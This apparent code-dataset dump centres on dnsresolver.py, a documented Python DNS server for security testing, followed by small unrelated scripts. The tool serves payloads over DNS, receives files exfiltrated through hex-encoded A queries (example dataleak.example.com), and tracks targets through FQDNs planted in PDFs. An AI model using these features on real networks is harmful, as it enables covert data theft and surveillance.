and BASE64 (base64) encoding.\nEncoding resolves issues with special characters, but increases the size of the data to be served via DNS TXT and DNS NULL records. For example, hexadecimal encoding doubles the size.\nWhen value dynamic is provided as encoding, the DNS client can choose which encoding to use for encoding the reply.\nExample:\n\n type=payload,label=exe,file=test.exe,encoding=dynamic\n\n a request for exe.0.example.com results in a DNS TXT or DNS NULL reply with the first chunck served as-is, e.g. without any encoding.\n a request for exe.0.hex.example.com results in a DNS TXT or DNS NULL reply with the first chunck served as hexadecimal encoded data.\n a request for exe.0.base64.example.com results in a DNS TXT or DNS NULL reply with the first chunck served as BASE64 encoded data.\n\nFYI: tests can be done locally with nslookup, like this:\n\n nslookup -type=txt exe.0.hex.example.com 127.0.0.1\n\nAnd with dig:\n\n dig.exe @127.0.0.1 exe.0.hex.example.com in null\n\nAn exfiltration command takes the following key-value pairs:\n type=exfiltration\n label=\n answer=\n\nThe label is mandatory: just like the payload command, it will be used to match queries.\nKey-value pair answer is optional. It specifies the answer to be send as reply to each query. If no answer is provided, NXDOMAIN becomes the reply.\nExample of answer usage:\n\n ./dnsresolver.py \"type=exfiltration,label=dataleak,answer=. 60 IN A 127.0.0.1\"\n\nThis defines the answer to be an Internet A record with IPv4 address 127.0.0.1.\nYou can also directly provide an IPv4 address, that will be converted to \". 60 IN A ...\" format (this applies for all commands that take an answer key-value pair).\n\nExfiltration can be used to exfiltrate data via DNS A queries using the following protocol:\n\nThe FQDN must contain the label defined in the exfiltration command. The data to be exfiltrated must be encoded in hexadecimal and placed to the left of the label, using one or more labels of maximum 63 characters each.\n\nFor example: 0000.00000010.00000000.04.41424344.dataleak.example.com\nThis FQDN follows the following protocol format:\n\n 0000: 2 bytes, big endian, that represent the file number (0 in this example).\n 00000010: 4 bytes, big endian, that represent the size of the file (16 in this example).\n 00000000: 4 bytes, big endian, that represent the position of the data chunk to be written to the file (0 in this example).\n 04: 1 byte, the length of the data chunk (4 in this example).\n 41424344: the data chunk to be written to the file (4 bytes, ABCD in this example).\n\nWhen all data chunks have been exfiltrated via A queries, a last A query is sent to \"close\" the file. This query just contains the file number and a file size of 0. Like this FQDN:\n 0000.00000000.dataleak.example.com\n\nThe result of these 2 queries, is that a file with name dataleak-00000 is created in the working directory, 16 bytes long, filled with 0x00 bytes, except for the first 4 bytes: ABCD.\n\nA track command takes the following key-value pairs:\n type=track\n label=\n logging=\n answer=\n\nThe label is mandatory: just like the payload command, it will be used to match queries.\nKey-value pair logging is optional. If it is provided, DNS resolver will create a log with the value for key logging as keyword. For example, if the value is test, the logfile will be named test-TIMESTAMP.log, e.g. test-20190813-182220.log.\nKey-value pair answer is optional. It specifies the answer to be send as reply to each query. If no answer is provided, NXDOMAIN becomes the reply.\n\nThe idea behind tracking, is to send FQDNs to targets to be tracked, for example in PDF documents that will be opened by the target. When opened, DNS resolution will take place and this allows tracking (e.g. knowing that the document has been received and opened).\nExample of a track command:\n\n ./dnsresolver.py \"type=track,label=pdf,answer=. 60 IN A 127.0.0.1\"\n\nExample of FQDNs:\n\n id01.pdf.example.com\n id02.pdf.example.com\n id03.pdf.example.com\n\nWhen DNS resolver receives an A record query with the label as the last leaf (e.g. pdf.example.com), it will always reply with NXDOMAIN.\nWhen DNS resolver receives an A record query where the label is not the last leaf (e.g. id01.pdf.example.com), it will reply with the provided answer, or NXDOMAIN if there is no provided answer.\n\nAn rcode command takes the following key-value pairs:\n type=rcode\n label=\n\nThe label is mandatory: just like the payload command, it will be used to match queries.\n\nThe idea behind rcode testing, is to be able to chose the rcode value in the DNS reply by chosing it via the DNS query.\n\nFor example, when setting up a command like:\n\n ./dnsresolver.py \"type=rcode,label=rcodetesting\"\n\nA query like this:\n\n nslookup 4.rcodetesting.example.com\n\nwill result in a reply with an rcode equal to 4: not implemented.\n\nRemark that intermediary DNS servers will probably change this rcode to 2: server failed.\nThis can be avoided by querying the DNS server directly:\n\n nslookup 4.rcodetesting.example.com 127.0.0.1\n\nA wildcard command takes the following key-value pairs:\n type=wildcard\n label=\n logging=\n\nThe label is mandatory: just like the payload command, it will be used to match queries.\nKey-value pair logging is optional. If it is provided, DNS resolver will create a log with the value for key logging as keyword. For example, if the value is test, the logfile will be named test-TIMESTAMP.log, e.g. test-20190813-182220.log.\n\nWith wildcard DNS, you can provide the reply to your query (A record) in the labels of the query.\n\nFor example, when setting up a command like:\n\n ./dnsresolver.py \"type=wildcard,label=wc\"\n\nA query like this:\n\n nslookup 10.20.30.40.wc.example.com\n\nwill result in an A record reply with IPv4 address 10.20.30.40.\n\nA resolve command takes the following key-value pairs:\n type=resolve\n label=\n answer=\n logging=\n\nThe label is mandatory: just like the payload command, it will be used to match queries.\nKey-value pair logging is optional. If it is provided, DNS resolver will create a log with the value for key logging as keyword. For example, if the value is test, the logfile will be named test-TIMESTAMP.log, e.g. test-20190813-182220.log.\n\nWith resolve DNS, you can provide the reply to your query (A record) in the answer. There can be more than one answer, separated by semicolons (;).\nThe reply to a DNS request for a resolve label, is the configured answer. If there is more than one answer, a round-robin method is used.\n\nFor example, when setting up a command like:\n\n ./dnsresolver.py \"type=resolve,label=roundrobin,answer=. 60 IN A 127.0.0.1;. 60 IN A 127.0.0.2\"\n\nA query like this:\n\n nslookup roundrobin.example.com\n\nwill result in an A record reply with IPv4 address 127.0.0.1.\n\nA second, identical query (nslookup roundrobin.example.com) will result in an A record reply with IPv4 address 127.0.0.2.\nA third, identical query (nslookup roundrobin.example.com) will result in an A record reply with IPv4 address 127.0.0.1.\nAnd so on ...\n\nA forwarder command takes the following key-value pairs:\n type=forwarder\n server=\n logging=\n\nThe label is mandatory: just like the payload command, it will be used to match queries.\nThe server is mandatory: this is the IPv4 address to forward requests to.\nKey-value pair logging is optional. If it is provided, DNS resolver will create a log with the value for key logging as keyword. For example, if the value is test, the logfile will be named test-TIMESTAMP.log, e.g. test-20190813-182220.log.\n\nWith forwarder DNS, you can specify a DNS server to forward all requests to that are not handled by another command.\n\nFor example, when setting up a command like:\n\n ./dnsresolver.py \"type=forwarder,server=8.8.8.8\"\n\nall queries will be forwarded to Google's DNS server 8.8.8.8.\n\nThis command is usually combined with other commands, for example:\n\n ./dnsresolver.py \"type=resolve,label=example.com,answer=. 60 IN A 127.0.0.1\" \"type=forwarder,server=8.8.8.8\"\n\nIn this example, a DNS A request for example.com is replied with 127.0.0.1, and all other requests are forwarded to 8.8.8.8\n\n\n\nOptions --log and --log-prefix can be used to increase log details.\n\nOn Linux, listening on port 53 (a low port) requires root privileges:\n\n sudo python ./dnsresolver.py --log-prefix \"type=track,label=pdf,logging=pdf,answer=. 60 IN A 127.0.0.1\"\n\nWhen using this tool for providing DNS services for a particular domain, DNS glue records must be defined (e.g. ns1.example.com) with the IPv4 address of the server that is running dnsresolver.py.\n\n'''\n for line in manual.split('\\n'):\n print(textwrap.fill(line))\n\nTYPE_PAYLOAD = 'payload'\nTYPE_EXFILTRATION = 'exfiltration'\nTYPE_TRACK = 'track'\nTYPE_RCODE = 'rcode'\nTYPE_WILDCARD = 'wildcard'\nTYPE_RESOLVE = 'resolve'\nTYPE_FORWARDER = 'forwarder'\nENCODING_DYNAMIC = 'dynamic'\nENCODING_NONE = ''\nENCODING_BASE64 = 'base64'\nENCODING_HEX = 'hex'\nPAYLOAD = 'payload'\nDATA = 'data'\nFILE = 'file'\nTYPE = 'type'\nLABEL = 'label'\nENCODING = 'encoding'\nDATAENCODING = 'dataencoding'\nFILES = 'files'\nFILEHANDLE = 'filehandle'\nFILEMMAP = 'filemmap'\nANSWER = 'answer'\nLOGGING = 'logging'\nINDEX = 'index'\nSERVER = 'server'\nENABLED = 'enabled'\n\ndef File2String(filename):\n try:\n f = open(filename, 'rb')\n except:\n return None\n try:\n return f.read()\n except:\n return None\n finally:\n f.close()\n\ndef FormatTimeUTC(epoch=None):\n if epoch == None:\n epoch = time.time()\n return '%04d%02d%02d-%02d%02d%02d' % time.gmtime(epoch)[0:6]\n\ndef ParseCommand(command):\n dCommand = {}\n for element in command.split(','):\n name, value = element.split('=', 1)\n name = name.lower().strip()\n dCommand[name] = value\n if not TYPE in dCommand:\n raise Exception('Error command, type missing: ' + command)\n return dCommand\n\ndef DefineLabelFromFilename(filename):\n label = ''\n for char in os.path.basename(filename.lower().strip()):\n if char in string.ascii_lowercase or char in string.digits:\n label += char\n elif label != '':\n return label\n return label\n\ndef ParseAnswerValue(answer):\n if re.match('^[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+$', answer):\n return '. 60 IN A ' + answer\n return answer\n \ndef ValidatePayload(dCommand):\n for name, value in dCommand.items():\n if name != FILE and name != DATA:\n dCommand[name] = value.lower().strip()\n if not FILE in dCommand and not DATA in dCommand:\n raise Exception('Error payload: file/data missing')\n if FILE in dCommand and DATA in dCommand:\n raise Exception('Error payload: file & data present')\n if not LABEL in dCommand:\n if FILE in dCommand:\n dCommand[LABEL] = DefineLabelFromFilename(dCommand[FILE])\n else:\n raise Exception('Error payload: label & file missing')\n if not ENCODING in dCommand:\n dCommand[ENCODING] = ENCODING_NONE\n if not DATAENCODING in dCommand:\n dCommand[DATAENCODING] = ENCODING_NONE\n return dCommand\n\ndef ValidateExfiltration(dCommand):\n for name, value in dCommand.items():\n if name != ANSWER:\n dCommand[name] = value.lower().strip()\n if not LABEL in dCommand:\n raise Exception('Error exfiltration: label missing')\n dCommand[ANSWER] = ParseAnswerValue(dCommand.get(ANSWER, ''))\n return dCommand\n\ndef ValidateTrack(dCommand):\n for name, value in dCommand.items():\n if name != ANSWER:\n dCommand[name] = value.lower().strip()\n if not LABEL in dCommand:\n raise Exception('Error track: label missing')\n dCommand[ANSWER] = ParseAnswerValue(dCommand.get(ANSWER, ''))\n if LOGGING in dCommand:\n dCommand[LOGGING] = '%s-%s.log' % (dCommand[LOGGING], FormatTimeUTC())\n return dCommand\n\ndef ValidateRcode(dCommand):\n for name, value in dCommand.items():\n if name != ANSWER:\n dCommand[name] = value.lower().strip()\n if not LABEL in dCommand:\n raise Exception('Error rcode: label missing')\n return dCommand\n\ndef ValidateWildcard(dCommand):\n for name, value in dCommand.items():\n if name != ANSWER:\n dCommand[name] = value.lower().strip()\n if not LABEL in dCommand:\n raise Exception('Error wildcard: label missing')\n if LOGGING in dCommand:\n dCommand[LOGGING] = '%s-%s.log' % (dCommand[LOGGING], FormatTimeUTC())\n return dCommand\n\ndef ValidateResolve(dCommand):\n for name, value in dCommand.items():\n if name != ANSWER:\n dCommand[name] = value.lower().strip()\n if not LABEL in dCommand:\n raise Exception('Error resolve: label missing')\n if not ANSWER in dCommand:\n dCommand[ANSWER] = ''\n dCommand[ANSWER] = [ParseAnswerValue(answer) for answer in dCommand[ANSWER].split(';')]\n dCommand[INDEX] = 0\n return dCommand\n\ndef ValidateForwarder(dCommand):\n if not SERVER in dCommand:\n raise Exception('Error forwarder: server missing')\n if LOGGING in dCommand:\n dCommand[LOGGING] = '%s-%s.log' % (dCommand[LOGGING], FormatTimeUTC())\n return dCommand\n\ndef MatchSublist(list1, list2):\n list1 = [item.lower() for item in list1]\n list2 = [item.lower() for item in list2]\n try:\n position = list1.index(list2[0])\n except ValueError:\n return -1\n list1Remainder = list1[position + 1:]\n list2Remainder = list2[1:]\n if len(list2Remainder) == 0:\n return position\n if list2Remainder[-1] == '':\n list1Remainder.append('')\n if len(list2Remainder) > len(list1Remainder):\n return -1\n for index, item in enumerate(list2Remainder):\n if item != list1Remainder[index]:\n return -1\n return position\n \ndef MatchLabel(dLabels, labelArg):\n for label in dLabels.keys():\n position = MatchSublist(labelArg, label.split('.'))\n if position != -1:\n return dLabels[label], label, position\n\n label = '*'\n if label in dLabels.keys():\n return dLabels[label], label, 0\n\n return None, None, None\n\ndef GetChunk(position, data):\n return [data[:position], data[position:]]\n\ndef Unpack(format, data):\n size = struct.calcsize(format)\n if len(data[:size]) != size:\n return []\n result = list(struct.unpack(format, data[:size]))\n result.append(data[size:])\n return result\n\ndef ParseInteger(argument):\n sign = 1\n if argument.startswith('+'):\n argument = argument[1:]\n elif argument.startswith('-'):\n argument = argument[1:]\n sign = -1\n if argument.startswith('0x'):\n return sign * int(argument[2:], 16)\n else:\n return sign * int(argument)\n\ndef ParseWildcardRequest(labels):\n if len(labels) != 4:\n return None\n for label in labels:\n try:\n number = int(label)\n except:\n return None\n if number < 0 or number > 255:\n return None\n return '. 60 IN A ' + '.'.join(labels)\n\nclass NULL():\n def __init__(self, strings):\n self.data = [bytes(string) for string in strings]\n\n def pack(self,buffer):\n for ditem in self.data:\n buffer.append(ditem)\n\nclass cMyResolver(dnslib.server.BaseResolver):\n def __init__(self, args):\n self.args = args\n self.ttl = dnslib.parse_time(self.args.ttl)\n self.payloads = {}\n self.exfiltrations = {}\n self.tracks = {}\n self.rcodes = {}\n self.wildcards = {}\n self.resolves = {}\n self.labels = {}\n self.forwarder = {ENABLED: False}\n for command in self.args.commands:\n dCommand = ParseCommand(command)\n if dCommand[TYPE] == TYPE_PAYLOAD:\n dPayload = ValidatePayload(dCommand)\n if FILE in dPayload:\n content = File2String(dPayload[FILE])\n elif dPayload[DATAENCODING] == ENCODING_BASE64:\n content = binascii.a2b_base64(dPayload[DATA])\n elif dPayload[DATAENCODING] == ENCODING_HEX:\n content = binascii.a2b_hex(dPayload[DATA])\n else:\n content = dPayload[DATA]\n self.payloads[dPayload[LABEL]] = {PAYLOAD: dPayload, DATA: {ENCODING_NONE: content}}\n self.labels[dPayload[LABEL]] = TYPE_PAYLOAD\n elif dCommand[TYPE] == TYPE_EXFILTRATION:\n dExfiltration = ValidateExfiltration(dCommand)\n dCommand[FILES] = {}\n self.exfiltrations[dCommand[LABEL]] = dExfiltration\n self.labels[dCommand[LABEL]] = TYPE_EXFILTRATION\n elif dCommand[TYPE] == TYPE_TRACK:\n dTrack = ValidateTrack(dCommand)\n self.tracks[dCommand[LABEL]] = dTrack\n self.labels[dCommand[LABEL]] = TYPE_TRACK\n elif dCommand[TYPE] == TYPE_RCODE:\n dRcode = ValidateRcode(dCommand)\n self.rcodes[dCommand[LABEL]] = dRcode\n self.labels[dCommand[LABEL]] = TYPE_RCODE\n elif dCommand[TYPE] == TYPE_WILDCARD:\n dWildcard = ValidateWildcard(dCommand)\n self.wildcards[dCommand[LABEL]] = dWildcard\n self.labels[dCommand[LABEL]] = TYPE_WILDCARD\n elif dCommand[TYPE] == TYPE_RESOLVE:\n dResolve = ValidateResolve(dCommand)\n self.resolves[dCommand[LABEL]] = dResolve\n self.labels[dCommand[LABEL]] = TYPE_RESOLVE\n elif dCommand[TYPE] == TYPE_FORWARDER:\n dForward = ValidateForwarder(dCommand)\n self.forwarder[ENABLED] = True\n for key, value in dForward.items():\n self.forwarder[key] = value\n else:\n raise Exception('Unknown type: %s' % dCommand[TYPE])\n self.maxSizeString = 250\n if self.args.tcp:\n self.maxCountStrings = 256\n else:\n self.maxCountStrings = 2\n\n def resolve(self, request, handler):\n reply = request.reply()\n if sys.version_info[0] > 2:\n labelsNormalized = [item.decode(errors='replace').lower().strip() for item in request.q.qname.label]\n else:\n labelsNormalized = [item.decode().lower().strip() for item in request.q.qname.label]\n typeCommand, label, position = MatchLabel(self.labels, labelsNormalized)\n replyNXDOMAIN = False\n rcode = None\n if typeCommand == None:\n if self.forwarder[ENABLED] and request.q.qtype == dnslib.QTYPE.A:\n oDNSRecord = dnslib.DNSRecord.parse(request.send(self.forwarder[SERVER]))\n print(oDNSRecord.rr)\n if LOGGING in self.forwarder:\n with open(self.forwarder[LOGGING], 'a') as f:\n print('%s %s:%d forwarder reply\\n%s' % (FormatTimeUTC(), handler.client_address[0], handler.client_address[1], oDNSRecord), file=f)\n return oDNSRecord\n replyNXDOMAIN = True\n if self.forwarder[ENABLED] and LOGGING in self.forwarder:\n with open(self.forwarder[LOGGING], 'a') as f:\n print('%s %s:%d NXDOMAIN\\n%s' % (FormatTimeUTC(), handler.client_address[0], handler.client_address[1], request), file=f)\n elif typeCommand == TYPE_PAYLOAD:\n if request.q.qtype != dnslib.QTYPE.TXT and request.q.qtype != dnslib.QTYPE.NULL:\n replyNXDOMAIN = True\n elif not (len(labelsNormalized) >= 3 and labelsNormalized[0] in self.payloads.keys()):\n replyNXDOMAIN = True\n else:\n label = labelsNormalized[0]\n try:\n index = 0\n encodingIndex = 1\n index = int(labelsNormalized[1])\n encodingIndex = 2\n except:\n pass\n encoding = self.payloads[label][PAYLOAD][ENCODING]\n if encoding == ENCODING_DYNAMIC:\n if labelsNormalized[encodingIndex] in [ENCODING_BASE64, ENCODING_HEX]:\n encoding = labelsNormalized[encodingIndex]\n else:\n encoding = ENCODING_NONE\n if not encoding in self.payloads[label][DATA]:\n if encoding == ENCODING_BASE64:\n self.payloads[label][DATA][ENCODING_BASE64] = binascii.b2a_base64(self.payloads[label][DATA][ENCODING_NONE]).strip()\n elif encoding == ENCODING_HEX:\n self.payloads[label][DATA][ENCODING_HEX] = binascii.b2a_hex(self.payloads[label][DATA][ENCODING_NONE]).strip()\n data = self.payloads[label][DATA][encoding]\n if index > len(data) / (self.maxSizeString * self.maxCountStrings):\n replyNXDOMAIN = True\n else:\n if handler.protocol == 'tcp' or not self.args.tcp:\n dnsStrings = [data[(index * self.maxCountStrings + iter) * self.maxSizeString:(index * self.maxCountStrings + iter + 1) * self.maxSizeString] for iter in range(self.maxCountStrings)]\n dnsStrings = [dnsString for dnsString in dnsStrings if len(dnsString) != 0]\n if request.q.qtype == dnslib.QTYPE.TXT:\n reply.add_answer(dnslib.RR(request.q.qname, dnslib.QTYPE.TXT, ttl=self.ttl, rdata=dnslib.TXT(dnsStrings)))\n elif request.q.qtype == dnslib.QTYPE.NULL:\n reply.add_answer(dnslib.RR(request.q.qname, dnslib.QTYPE.NULL, ttl=self.ttl, rdata=NULL(dnsStrings)))\n else:\n raise Exception('DNS payload: type unknown')\n else:\n reply.header.tc = True\n elif typeCommand == TYPE_EXFILTRATION:\n if request.q.qtype != dnslib.QTYPE.A:\n replyNXDOMAIN = True\n elif not (len(labelsNormalized) >= 4 and label in self.exfiltrations.keys()):\n replyNXDOMAIN = True\n else:\n hexdata = ''.join(labelsNormalized[0:position])\n try:\n data = ''\n data = binascii.a2b_hex(hexdata)\n except:\n pass\n result = Unpack('>HI', data)\n if result != []:\n filenumber, filesize, data = result\n filename = '%s-%05d' % (label, filenumber)\n if not filename in self.exfiltrations[label][FILES]:\n try:\n with open(filename, 'wb') as filehandle:\n filehandle.write(b'\\x00' * filesize)\n filehandle = open(filename, 'r+b')\n filemmap = mmap.mmap(filehandle.fileno(), filesize)\n self.exfiltrations[label][FILES][filename] = {FILEHANDLE: filehandle, FILEMMAP: filemmap}\n except:\n pass\n if filesize == 0:\n if filename in self.exfiltrations[label][FILES]:\n try:\n self.exfiltrations[label][FILES][filename][FILEMMAP].close()\n self.exfiltrations[label][FILES][filename][FILEMMAP] = None\n except:\n pass\n try:\n self.exfiltrations[label][FILES][filename][FILEHANDLE].close()\n self.exfiltrations[label][FILES][filename][FILEHANDLE] = None\n except:\n pass\n else:\n result = Unpack('>IB', data)\n if result != []:\n fileposition, chuncksize, data = result\n if chuncksize == len(data) and filename in self.exfiltrations[label][FILES]:\n try:\n self.exfiltrations[label][FILES][filename][FILEMMAP][fileposition:fileposition + chuncksize] = data\n except:\n pass\n if self.exfiltrations[label][ANSWER] == '':\n replyNXDOMAIN = True\n else:\n qname = request.q.qname\n for rr in dnslib.RR.fromZone(self.exfiltrations[label][ANSWER]):\n a = copy.copy(rr)\n a.rname = qname\n reply.add_answer(a)\n elif typeCommand == TYPE_TRACK:\n if LOGGING in self.tracks[label]:\n with open(self.tracks[label][LOGGING], 'a') as f:\n print('%s %s:%d %d %s' % (FormatTimeUTC(), handler.client_address[0], handler.client_address[1], position, '.'.join(labelsNormalized).encode('utf8').decode()), file=f)\n if request.q.qtype != dnslib.QTYPE.A: #a# handle AAAA too\n replyNXDOMAIN = True\n elif not label in self.tracks.keys():\n replyNXDOMAIN = True\n elif position == 0:\n replyNXDOMAIN = True\n else:\n if self.tracks[label][ANSWER] == '':\n replyNXDOMAIN = True\n else:\n qname = request.q.qname\n for rr in dnslib.RR.fromZone(self.tracks[label][ANSWER]):\n a = copy.copy(rr)\n a.rname = qname\n reply.add_answer(a)\n elif typeCommand == TYPE_RCODE:\n if position != 1:\n replyNXDOMAIN = True\n elif not label in self.rcodes.keys():\n replyNXDOMAIN = True\n else:\n try:\n rcode = abs(ParseInteger(labelsNormalized[0])) % 0x100\n except:\n replyNXDOMAIN = True\n elif typeCommand == TYPE_WILDCARD:\n if LOGGING in self.wildcards[label]:\n with open(self.wildcards[label][LOGGING], 'a') as f:\n print('%s %s:%d %d %s' % (FormatTimeUTC(), handler.client_address[0], handler.client_address[1], position, '.'.join(labelsNormalized).encode('utf8').decode()), file=f)\n if request.q.qtype != dnslib.QTYPE.A: #a# handle AAAA too\n replyNXDOMAIN = True\n elif not label in self.wildcards.keys():\n replyNXDOMAIN = True\n elif position == 0:\n replyNXDOMAIN = True\n else:\n qname = request.q.qname\n zoneWildcard = ParseWildcardRequest(labelsNormalized[:position])\n if zoneWildcard == None:\n replyNXDOMAIN = True\n else:\n for rr in dnslib.RR.fromZone(zoneWildcard):\n a = copy.copy(rr)\n a.rname = qname\n reply.add_answer(a)\n elif typeCommand == TYPE_RESOLVE:\n if position != 0:\n replyNXDOMAIN = True\n else:\n if LOGGING in self.resolves[label]:\n with open(self.resolves[label][LOGGING], 'a') as f:\n print('%s %s:%d %d %s' % (FormatTimeUTC(), handler.client_address[0], handler.client_address[1], position, '.'.join(labelsNormalized).encode('utf8').decode()), file=f)\n if request.q.qtype == dnslib.QTYPE.A:\n qname = request.q.qname\n answer = self.resolves[label][ANSWER][self.resolves[label][INDEX]]\n self.resolves[label][INDEX] = (self.resolves[label][INDEX] + 1) % len(self.resolves[label][ANSWER])\n for rr in dnslib.RR.fromZone(answer):\n a = copy.copy(rr)\n a.rname = qname\n reply.add_answer(a)\n else:\n replyNXDOMAIN = True\n else:\n replyNXDOMAIN = True\n if replyNXDOMAIN:\n reply.header.rcode = dnslib.RCODE.NXDOMAIN\n if rcode != None:\n reply.header.rcode = rcode\n return reply\n\ndef Main():\n moredesc = '''\n\nSource code put in the public domain by Didier Stevens, no Copyright\nUse at your own risk\nhttps://DidierStevens.com'''\n\n oArgumentParser = argparse.ArgumentParser(description=__description__ + moredesc)\n oArgumentParser.add_argument('-m', '--man', action='store_true', default=False, help='Print manual')\n oArgumentParser.add_argument('--version', action='version', version=__version__)\n oArgumentParser.add_argument('-t', '--ttl', default='60s', metavar='', help='Response TTL (default: 60s)')\n oArgumentParser.add_argument('-p', '--port', type=int, default=53, metavar='', help='Server port (default:53)')\n oArgumentParser.add_argument('-a', '--address', default='', metavar='
', help='Listen address (default:all)')\n oArgumentParser.add_argument('-u', '--udplen', type=int, default=0, metavar='', help='Max UDP packet length (default:0)')\n oArgumentParser.add_argument('--tcp', action='store_true', default=False, help='TCP server (default: UDP only)')\n oArgumentParser.add_argument('--log', default='request,reply,truncated,error', help='Log hooks to enable (default: +request,+reply,+truncated,+error,-recv,-send,-data)')\n oArgumentParser.add_argument('--log-prefix', action='store_true',default=False, help='Log prefix (timestamp/handler/resolver) (default: False)')\n oArgumentParser.add_argument('commands', nargs='*', help='commands to serve')\n args = oArgumentParser.parse_args()\n\n if args.man:\n oArgumentParser.print_help()\n PrintManual()\n return\n\n if len(args.commands) == 0:\n print('Please provide a command!')\n return\n\n oMyResolver = cMyResolver(args)\n oDNSLogger = dnslib.server.DNSLogger(args.log, args.log_prefix)\n\n print('Starting Resolver (%s:%d) [%s]' % (args.address or '*', args.port, 'UDP/TCP' if args.tcp else 'UDP'))\n\n if args.udplen:\n dnslib.server.DNSHandler.udplen = args.udplen\n\n oUDPDNSServer = dnslib.server.DNSServer(oMyResolver, port=args.port, address=args.address, logger=oDNSLogger)\n oUDPDNSServer.start_thread()\n\n if args.tcp:\n oTCPDNSServer = dnslib.server.DNSServer(oMyResolver, port=args.port, address=args.address, tcp=True, logger=oDNSLogger)\n oTCPDNSServer.start_thread()\n\n while oUDPDNSServer.isAlive():\n time.sleep(1)\n\nif __name__ == '__main__':\n Main()\n","repo_name":"DidierStevens/DidierStevensSuite","sub_path":"dnsresolver.py","file_name":"dnsresolver.py","file_ext":"py","file_size_in_byte":36749,"program_lang":"python","lang":"en","doc_type":"code","stars":1733,"dataset":"github-code","pt":"72"} +{"seq_id":"38285763245","text":"# main.py\n\n# racecar\" -> \"aceca\" -> \"cec\" - \"e\"\n\ndef palcheck(x):\n if len(x) == 1 or len(x) == 0:\n return True\n if x[0] != x[-1]:\n return False\n return palcheck(x[1:-1])\n\n\nx = input(\"Enter the string you would like to check.\\nWe will check if it is a palindrome.\\n\")\n\nprint(palcheck(x))","repo_name":"AuritroSaha/auritro_coding_portfolio","sub_path":"JUNI/Python Level 3/AM5/Recursive Palindrome Checker.py","file_name":"Recursive Palindrome Checker.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36783148076","text":"\n\"\"\"\n# 받는 방법\n# # 속도 빠르게 받기\nimport sys \ninput = sys.stdin.readline # 한 라인 받는 함수 -- 결과적으로 input()처럼 사용하면 됨\n\n# 한개만 받기\nn = input() # input은 기본적으로 string으로 들어옴. \nm = int(input()) # string을 정수형태로 바꿔줘서 연산이 가능해짐\n\n# 여러개 받기\n# 입력값 : 10 20 30 \na,b,c = input().split() # split은 공백을 기준으로 자르는 함수. 10/20/30 각각 a='10',b='20', c='30'으로 들어옴\nnumberList = input.split() # [10,20,30] list 형태로 받음\n\n# 여러개 받고 + 형변환\na,b,c = map(int,input().split()) # input().split()으로 받은 값을 int형으로 바꿔서 각각 a=10,b=20,c=30으로 받음\nnumberList = list(map(int,input().split())) # [10,20,30]리스트 형식으로 받음. map을 list로 감싸주는 이유는 map 객체는 print하면 주소값만 나오기 때문에 사용하기 편하게 하려고.\n\nex]\n4 \n1 2\n1 3\n1 4\n2 4\n\"\"\"\nimport sys \ninput = sys.stdin.readline\n\nn = int(input())\n\n# 각각 받기 - 한번에 받기 부분 주석처리하고 실행\n\"\"\" for _ in range(n): \n a,b = input().split() # 스트링 \n print('바로출력',a,b) \n\n a,b = map(int,input().split()) # int\n print('바로출력',a,b) \n\"\"\"\n\n# 한번에 받기 - 각각 받기 부분 주석처리하고 실행\ncase = []\nfor _ in range(n): \n #nList = input().split() # 스트링\n #nList = map(int,input().split()) # int 주소 나옴\n nList = list(map(int,input().split())) # list로 나옴\n case.append(nList)\n\nprint('한번에 출력',case)\n\n# case 리스트를 만들었을 때 함수 이용은 for문으로 돌리면됨\nfor i in case :\n # 처리할 로직\n print(i)","repo_name":"yooooonk/algorithm-note","sub_path":"structure/ss.py","file_name":"ss.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2880757968","text":"from django.db import models\n\n# Create your models here.\nfrom datetime import date\nimport datetime\nfrom django.contrib.auth.models import User\n\n# Create your models here.\nPRIORITY = (\n ('HIGH', 'HIGH'),\n ('MEDIUM', 'MEDIUM'),\n ('LOW', 'LOW'),\n )\nMONTH = (\n ('1', 'JAN'),\n ('2', 'FEB'),\n ('3', 'MAR'),\n ('4', 'APR'),\n ('5', 'MAY'),\n ('6', 'JUN'),\n ('7', 'JUL'),\n ('8', 'AUG'),\n ('9', 'SEPT'),\n ('10', 'OCT'),\n ('11', 'NOV'),\n ('12', 'DEC'),\n )\n\nSTATUS = (\n ('NOTSTARTED', 'NOT-STARTED'),\n ('INPROGRESS', 'IN-PROGRESS'),\n ('FIXED', 'FIXED'),\n )\nSTATUS1 = (\n ('WEBSITE', 'WEBSITE'),\n ('MOBILEAPP', 'MOBILEAPP'),\n ('BUSINESS', 'BUSINESS'),\n )\nclass Bugs(models.Model):\n bug_title = models.CharField(max_length=80,blank=True, null=True)\n bug_detail = models.CharField(max_length=200,blank=True, null=True)\n priority = models.CharField(max_length=10, blank=True, null=True, choices=PRIORITY)\n status = models.CharField(max_length=100, blank=True, null=True, choices=STATUS)\n remark= models.CharField(max_length=100 ,blank=True, null=True)\n category = models.CharField(max_length=100, blank=True, null=True, choices=STATUS1)\n reported_by = models.ForeignKey(User,related_name = \"reported_by\", blank=True, null=True, on_delete=models.CASCADE)\n assigned_to = models.ForeignKey(User, blank=True,null=True, related_name = \"assigned_to\", on_delete=models.CASCADE)\n document = models.FileField(upload_to='documents/',default = 'bugissue/default/no-img.jpg')\n","repo_name":"santhosh432/rscbk","sub_path":"rscbk/bugsreport/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1924669919","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@File : GetTopK.py\n@Author: SangYu\n@Date : 2019/5/16 9:27\n@Desc : 生成数据,并获取数据的topk\n\"\"\"\nfrom data_producer import *\nfrom mapper import *\nfrom reducer import *\nimport time\n\n\ndef get_topk(k: int):\n produce_data(100, \"2019-05-01-00-00-00\", 0.1)\n start = time.time()\n topk_first_mapper()\n topk_first_reducer()\n topk_second_mapper()\n topk_second_reducer()\n print(\"耗时%s...\" % (time.time() - start))\n data = read_input(\"process_files/second_reduce.txt\")\n print(\"前%d个数据\" % k)\n while k > 0:\n print(data.__next__())\n k -= 1\n\n\nif __name__ == '__main__':\n 